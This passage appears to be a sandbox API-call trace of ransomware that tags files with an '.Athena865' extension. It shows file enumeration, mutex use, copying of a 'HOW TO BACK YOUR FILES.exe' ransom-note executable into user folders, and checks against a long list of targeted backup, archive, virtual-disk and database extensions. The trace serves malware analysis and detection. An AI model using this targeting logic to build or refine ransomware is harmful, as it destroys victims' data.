hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb18be2b0, ftCreationTime.dwHighDateTime=0x1d4cb1a, ftLastAccessTime.dwLowDateTime=0x1f7fd970, ftLastAccessTime.dwHighDateTime=0x1d4ca94, ftLastWriteTime.dwLowDateTime=0xc680c860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V-I6Tk8WtrI.jpg.Athena865", cAlternateFileName="V-I6TK~1.ATH")) returned 1 [0101.615] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.615] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.615] lstrcpyW (in: lpString1=0x241e8d2, lpString2="V-I6Tk8WtrI.jpg.Athena865" | out: lpString1="V-I6Tk8WtrI.jpg.Athena865") returned="V-I6Tk8WtrI.jpg.Athena865" [0101.615] lstrlenW (lpString="V-I6Tk8WtrI.jpg.Athena865") returned 25 [0101.615] lstrlenW (lpString="Athena865") returned 9 [0101.615] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.615] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34b0fc0, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe2a3b960, ftLastAccessTime.dwHighDateTime=0x1d4c5ff, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ve-V1J95qqU3-IuMmgm7.png.Athena865", cAlternateFileName="VE-V1J~1.ATH")) returned 1 [0101.615] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.615] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.615] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Ve-V1J95qqU3-IuMmgm7.png.Athena865" | out: lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned="Ve-V1J95qqU3-IuMmgm7.png.Athena865" [0101.615] lstrlenW (lpString="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned 34 [0101.615] lstrlenW (lpString="Athena865") returned 9 [0101.615] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.615] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912a0b70, ftCreationTime.dwHighDateTime=0x1d4d252, ftLastAccessTime.dwLowDateTime=0x9ee96940, ftLastAccessTime.dwHighDateTime=0x1d4c8c0, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VKBs.jpg.Athena865", cAlternateFileName="VKBSJP~1.ATH")) returned 1 [0101.615] lstrcmpiW (lpString1="VKBs.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.615] lstrcmpiW (lpString1="VKBs.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.615] lstrcpyW (in: lpString1=0x241e8d2, lpString2="VKBs.jpg.Athena865" | out: lpString1="VKBs.jpg.Athena865") returned="VKBs.jpg.Athena865" [0101.615] lstrlenW (lpString="VKBs.jpg.Athena865") returned 18 [0101.615] lstrlenW (lpString="Athena865") returned 9 [0101.615] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.615] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3d3b0, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x367fb2c0, ftLastAccessTime.dwHighDateTime=0x1d4c87e, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W0wpgP-oU.gif.Athena865", cAlternateFileName="W0WPGP~1.ATH")) returned 1 [0101.615] lstrcmpiW (lpString1="W0wpgP-oU.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.616] lstrcmpiW (lpString1="W0wpgP-oU.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.616] lstrcpyW (in: lpString1=0x241e8d2, lpString2="W0wpgP-oU.gif.Athena865" | out: lpString1="W0wpgP-oU.gif.Athena865") returned="W0wpgP-oU.gif.Athena865" [0101.616] lstrlenW (lpString="W0wpgP-oU.gif.Athena865") returned 23 [0101.616] lstrlenW (lpString="Athena865") returned 9 [0101.616] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db9d910, ftCreationTime.dwHighDateTime=0x1d4cc87, ftLastAccessTime.dwLowDateTime=0xffe35790, ftLastAccessTime.dwHighDateTime=0x1d4cf66, ftLastWriteTime.dwLowDateTime=0xc6858b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16230, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ya3k0m2vT.gif.Athena865", cAlternateFileName="YA3K0M~1.ATH")) returned 1 [0101.616] lstrcmpiW (lpString1="Ya3k0m2vT.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.616] lstrcmpiW (lpString1="Ya3k0m2vT.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.616] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Ya3k0m2vT.gif.Athena865" | out: lpString1="Ya3k0m2vT.gif.Athena865") returned="Ya3k0m2vT.gif.Athena865" [0101.616] lstrlenW (lpString="Ya3k0m2vT.gif.Athena865") returned 23 [0101.616] lstrlenW (lpString="Athena865") returned 9 [0101.616] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2692cb0, ftCreationTime.dwHighDateTime=0x1d4c8b7, ftLastAccessTime.dwLowDateTime=0x5d107bb0, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xc687ec80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zzgl j.gif.Athena865", cAlternateFileName="ZZGLJG~1.ATH")) returned 1 [0101.616] lstrcmpiW (lpString1="Zzgl j.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.616] lstrcmpiW (lpString1="Zzgl j.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.616] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Zzgl j.gif.Athena865" | out: lpString1="Zzgl j.gif.Athena865") returned="Zzgl j.gif.Athena865" [0101.616] lstrlenW (lpString="Zzgl j.gif.Athena865") returned 20 [0101.616] lstrlenW (lpString="Athena865") returned 9 [0101.616] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x215efa80, ftCreationTime.dwHighDateTime=0x1d4d428, ftLastAccessTime.dwLowDateTime=0x9f6c5cd0, ftLastAccessTime.dwHighDateTime=0x1d4ce0e, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZzLapX9_v4.bmp.Athena865", cAlternateFileName="ZZLAPX~1.ATH")) returned 1 [0101.616] lstrcmpiW (lpString1="ZzLapX9_v4.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.616] lstrcmpiW (lpString1="ZzLapX9_v4.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.616] lstrcpyW (in: lpString1=0x241e8d2, lpString2="ZzLapX9_v4.bmp.Athena865" | out: lpString1="ZzLapX9_v4.bmp.Athena865") returned="ZzLapX9_v4.bmp.Athena865" [0101.616] lstrlenW (lpString="ZzLapX9_v4.bmp.Athena865") returned 24 [0101.616] lstrlenW (lpString="Athena865") returned 9 [0101.616] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a07d0, ftCreationTime.dwHighDateTime=0x1d4c93f, ftLastAccessTime.dwLowDateTime=0x8970abf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc4d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_F0g8hcXHkDTsY8z.bmp.Athena865", cAlternateFileName="_F0G8H~1.ATH")) returned 1 [0101.616] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.616] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.617] lstrcpyW (in: lpString1=0x241e8d2, lpString2="_F0g8hcXHkDTsY8z.bmp.Athena865" | out: lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865") returned="_F0g8hcXHkDTsY8z.bmp.Athena865" [0101.617] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp.Athena865") returned 30 [0101.617] lstrlenW (lpString="Athena865") returned 9 [0101.617] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.617] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a07d0, ftCreationTime.dwHighDateTime=0x1d4c93f, ftLastAccessTime.dwLowDateTime=0x8970abf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc4d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_F0g8hcXHkDTsY8z.bmp.Athena865", cAlternateFileName="_F0G8H~1.ATH")) returned 0 [0101.617] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.617] ReleaseMutex (hMutex=0xec) returned 1 [0101.617] CloseHandle (hObject=0xec) returned 1 [0101.617] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0101.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0101.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b6a8 | out: hHeap=0x4f0000) returned 1 [0101.617] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 66 [0101.617] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\40910B35C11D96175339A82350C6C960") returned 0xec [0101.617] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.617] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0101.617] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.618] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.618] GetLastError () returned 0x0 [0101.618] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.618] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.619] CloseHandle (hObject=0xf4) returned 1 [0101.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.619] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.619] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5dc8980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.619] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.619] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.621] lstrcpyW (in: lpString1=0x241e8ce, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0101.621] lstrlenW (lpString="desktop.ini") returned 11 [0101.621] lstrlenW (lpString="Athena865") returned 9 [0101.621] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0101.621] lstrlenW (lpString=".dll") returned 4 [0101.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0101.621] lstrlenW (lpString=".lnk") returned 4 [0101.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0101.621] lstrlenW (lpString=".ini") returned 4 [0101.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0101.621] lstrlenW (lpString=".sys") returned 4 [0101.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0101.621] lstrlenW (lpString="desktop.ini") returned 11 [0101.621] lstrlenW (lpString="bak") returned 3 [0101.621] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0101.621] lstrlenW (lpString="ba_") returned 3 [0101.621] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0101.621] lstrlenW (lpString="dbb") returned 3 [0101.621] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0101.621] lstrlenW (lpString="vmdk") returned 4 [0101.621] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0101.621] lstrlenW (lpString="rar") returned 3 [0101.621] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0101.621] lstrlenW (lpString="zip") returned 3 [0101.621] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0101.622] lstrlenW (lpString="tgz") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0101.622] lstrlenW (lpString="vbox") returned 4 [0101.622] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0101.622] lstrlenW (lpString="vdi") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0101.622] lstrlenW (lpString="vhd") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0101.622] lstrlenW (lpString="vhdx") returned 4 [0101.622] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0101.622] lstrlenW (lpString="avhd") returned 4 [0101.622] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0101.622] lstrlenW (lpString="db") returned 2 [0101.622] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0101.622] lstrlenW (lpString="db2") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0101.622] lstrlenW (lpString="db3") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0101.622] lstrlenW (lpString="dbf") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0101.622] lstrlenW (lpString="mdf") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0101.622] lstrlenW (lpString="mdb") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0101.622] lstrlenW (lpString="sql") returned 3 [0101.622] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0101.622] lstrlenW (lpString="sqlite") returned 6 [0101.622] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0101.622] lstrlenW (lpString="sqlite3") returned 7 [0101.622] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0101.622] lstrlenW (lpString="sqlitedb") returned 8 [0101.622] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0101.623] lstrlenW (lpString="xml") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0101.623] lstrlenW (lpString="$er") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0101.623] lstrlenW (lpString="4dd") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0101.623] lstrlenW (lpString="4dl") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0101.623] lstrlenW (lpString="^^^") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0101.623] lstrlenW (lpString="abs") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0101.623] lstrlenW (lpString="abx") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0101.623] lstrlenW (lpString="accdb") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0101.623] lstrlenW (lpString="accdc") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0101.623] lstrlenW (lpString="accde") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0101.623] lstrlenW (lpString="accdr") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0101.623] lstrlenW (lpString="accdt") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0101.623] lstrlenW (lpString="accdw") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0101.623] lstrlenW (lpString="accft") returned 5 [0101.623] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0101.623] lstrlenW (lpString="adb") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0101.623] lstrlenW (lpString="adb") returned 3 [0101.623] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0101.624] lstrlenW (lpString="ade") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0101.624] lstrlenW (lpString="adf") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0101.624] lstrlenW (lpString="adn") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0101.624] lstrlenW (lpString="adp") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0101.624] lstrlenW (lpString="alf") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0101.624] lstrlenW (lpString="ask") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0101.624] lstrlenW (lpString="btr") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0101.624] lstrlenW (lpString="cat") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0101.624] lstrlenW (lpString="cdb") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0101.624] lstrlenW (lpString="ckp") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0101.624] lstrlenW (lpString="cma") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0101.624] lstrlenW (lpString="cpd") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0101.624] lstrlenW (lpString="dacpac") returned 6 [0101.624] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0101.624] lstrlenW (lpString="dad") returned 3 [0101.624] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0101.624] lstrlenW (lpString="dadiagrams") returned 10 [0101.624] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0101.624] lstrlenW (lpString="daschema") returned 8 [0101.624] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0101.624] lstrlenW (lpString="db-journal") returned 10 [0101.625] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0101.625] lstrlenW (lpString="db-shm") returned 6 [0101.625] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0101.625] lstrlenW (lpString="db-wal") returned 6 [0101.625] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0101.625] lstrlenW (lpString="dbc") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0101.625] lstrlenW (lpString="dbs") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0101.625] lstrlenW (lpString="dbt") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0101.625] lstrlenW (lpString="dbv") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0101.625] lstrlenW (lpString="dbx") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0101.625] lstrlenW (lpString="dcb") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0101.625] lstrlenW (lpString="dct") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0101.625] lstrlenW (lpString="dcx") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0101.625] lstrlenW (lpString="ddl") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0101.625] lstrlenW (lpString="dlis") returned 4 [0101.625] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0101.625] lstrlenW (lpString="dp1") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0101.625] lstrlenW (lpString="dqy") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0101.625] lstrlenW (lpString="dsk") returned 3 [0101.625] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0101.625] lstrlenW (lpString="dsn") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0101.626] lstrlenW (lpString="dtsx") returned 4 [0101.626] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0101.626] lstrlenW (lpString="dxl") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0101.626] lstrlenW (lpString="eco") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0101.626] lstrlenW (lpString="ecx") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0101.626] lstrlenW (lpString="edb") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0101.626] lstrlenW (lpString="epim") returned 4 [0101.626] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0101.626] lstrlenW (lpString="fcd") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0101.626] lstrlenW (lpString="fdb") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0101.626] lstrlenW (lpString="fic") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0101.626] lstrlenW (lpString="flexolibrary") returned 12 [0101.626] lstrlenW (lpString="fm5") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0101.626] lstrlenW (lpString="fmp") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0101.626] lstrlenW (lpString="fmp12") returned 5 [0101.626] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0101.626] lstrlenW (lpString="fmpsl") returned 5 [0101.626] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0101.626] lstrlenW (lpString="fol") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0101.626] lstrlenW (lpString="fp3") returned 3 [0101.626] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0101.627] lstrlenW (lpString="fp4") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0101.627] lstrlenW (lpString="fp5") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0101.627] lstrlenW (lpString="fp7") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0101.627] lstrlenW (lpString="fpt") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0101.627] lstrlenW (lpString="frm") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0101.627] lstrlenW (lpString="gdb") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0101.627] lstrlenW (lpString="gdb") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0101.627] lstrlenW (lpString="grdb") returned 4 [0101.627] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0101.627] lstrlenW (lpString="gwi") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0101.627] lstrlenW (lpString="hdb") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0101.627] lstrlenW (lpString="his") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0101.627] lstrlenW (lpString="ib") returned 2 [0101.627] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0101.627] lstrlenW (lpString="idb") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0101.627] lstrlenW (lpString="ihx") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0101.627] lstrlenW (lpString="itdb") returned 4 [0101.627] lstrcmpiW 